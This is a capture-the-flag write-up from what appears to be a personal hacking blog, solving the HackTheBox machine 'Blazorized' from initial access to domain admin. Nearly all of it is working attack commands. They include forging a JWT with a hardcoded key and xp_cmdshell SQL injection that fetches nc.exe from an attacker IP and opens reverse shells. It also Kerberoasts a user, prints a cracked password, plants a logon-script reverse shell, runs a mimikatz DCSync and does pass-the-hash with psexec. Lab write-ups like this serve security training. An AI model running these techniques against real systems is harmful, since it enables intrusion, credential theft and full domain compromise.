KPAX Hacks

A place to collect various hacking information and writeups

2 July 2024

Blazorized HTB

by kpax

Initial Access

Scan for vhosts

gobuster vhost -u http://blazorized.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

There are two vhosts as well as the main website

Main website loads lots of DLLs. Download the Blazorized.Helpers.dll dll

curl http://blazorized.htb/_framework/Blazorized.Helpers.dll -o Blazorized.Helpers.dll

Read it with ILSpy and you will find the following

private static SigningCredentials GetSigningCredentials()
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_001e: Expected O, but got Unknown
		//IL_0019: Unknown result type (might be due to invalid IL or missing references)
		//IL_001f: Expected O, but got Unknown
		try
		{
			return new SigningCredentials((SecurityKey)new SymmetricSecurityKey(Encoding.get_UTF8().GetBytes(jwtSymmetricSecurityKey)), "HS512");
		}
		catch (System.Exception)
		{
			throw;
		}
	}
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.adminDashboardAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
		// Token: 0x04000005 RID: 5
		private const long EXPIRATION_DURATION_IN_SECONDS = 60L;

		// Token: 0x04000006 RID: 6
		private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";

		// Token: 0x04000007 RID: 7
		private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";

		// Token: 0x04000008 RID: 8
		private static readonly string postsPermissionsClaimValue = "Posts_Get_All";

		// Token: 0x04000009 RID: 9
		private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";

		// Token: 0x0400000A RID: 10
		private static readonly string superAdminRoleClaimValue = "Super_Admin";

		// Token: 0x0400000B RID: 11
		private static readonly string issuer = "http://api.blazorized.htb";

		// Token: 0x0400000C RID: 12
		private static readonly string apiAudience = "http://api.blazorized.htb";

		// Token: 0x0400000D RID: 13
		private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

Using this info you can use cyber chef to sign a the jwt with the following content

{"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress":"superadmin@blazorized.htb","http://schemas.microsoft.com/ws/2008/06/identity/claims/role":["Super_Admin"],"exp":1819923739,"iss":"http://api.blazorized.htb","aud":"http://admin.blazorized.htb"}

Add the generated JWT to a jwt key in the LocalStorage of the browser to bypass auth.

The Check duplicate posts entry has a sql injection in it that can run commands

Copy nc.exe to the box and use it to get a reverse shell

' EXEC xp_cmdshell "echo IWR http://10.10.14.2:8000/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile" --

' EXEC xp_cmdshell "%TEMP%\nc.exe 10.10.14.2 9001 -e powershell" --

Shell as NU_1055

Setup a psdrive and copy powerview to the box

$SecPassword = ConvertTo-SecureString 'test' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('WORKGROUP\test', $SecPassword)
new-psdrive -name "myfiles" -psprovider "filesystem" -root "\\10.10.14.2\test" -Credential $Cred

cd c:\programdata
copy myfiles:PowerView.ps1 .
. .\PowerView.ps1

Bloodhound shows that we can Write-SPN on user RSA-1066 that lets us dump the hash of the password. The has doesn’t copy well. It should all be on one line.

Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Get-DomainUser -Identity RSA_4810 | Get-DomainSPNTicket

Crack the hash to get

RSA_4810:(Ni7856Do9854Ki05Ng0005 #)

Shell as RSA_4810

This user is able to write to the script-path of the User SSA_6010

# impacket
pywerview get-objectacl --name 'SSA_6010' -w blazorized.htb -t 10.129.231.70 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("RSA_4810")))'

## Powerview version if no creds
Get-ObjectAcl -SamAccountName SSA_6010 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "WriteProperty"}

Login using Evil-Winrm

Script-Path is relative to the NETLOGON share and the default location of the NETLOGON share is C:\windows\sysvol\sysvol\blazorized.htb\scripts

We have access to write into the following directory C:\windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23

# Check for write access
gci -Path . | % { $p=$_.FullName; $a=Get-Acl -Path $p; $a.Access | ? { $_.IdentityReference.Value.toString() -eq "$env:USERDOMAIN\$env:USERNAME" -and $_.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write } | % { "$($p): Write access allowed" }

Create a bat file with the following contents use nc to get a rev shell and copy it to C:\windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\rev.bat

echo IWR http://10.10.14.2:8000/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile
%TEMP%\nc.exe 10.10.14.2 9001 -e powershell

Then set the scriptpath and wait for the rev shell (ScriptPath is relative to NETLOGON share)

# BloodyAD
bloodyAD --host 10.129.231.70 -d "blazorized.htb" -u "RSA_4810" -p '(Ni7856Do9854Ki05Ng0005 #)' set object SSA_6010 scriptPath -v 'A32FF3AEAA23/rev.bat'

# Powerview Version
set-domainobject SSA_6010 -Set @{'scriptpath'='A32FF3AEAA23\rev.bat'} -Verbose

SSA_6010 is able to DCSYNC, so use mimikatz to dump the Administrator Hashes

mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator

Then psexec in using the hash

psexec.py -hashes :f55ed1465179ba374ec1cad05b34a5f3 Administrator@10.129.230.126 cmd.exe
tags: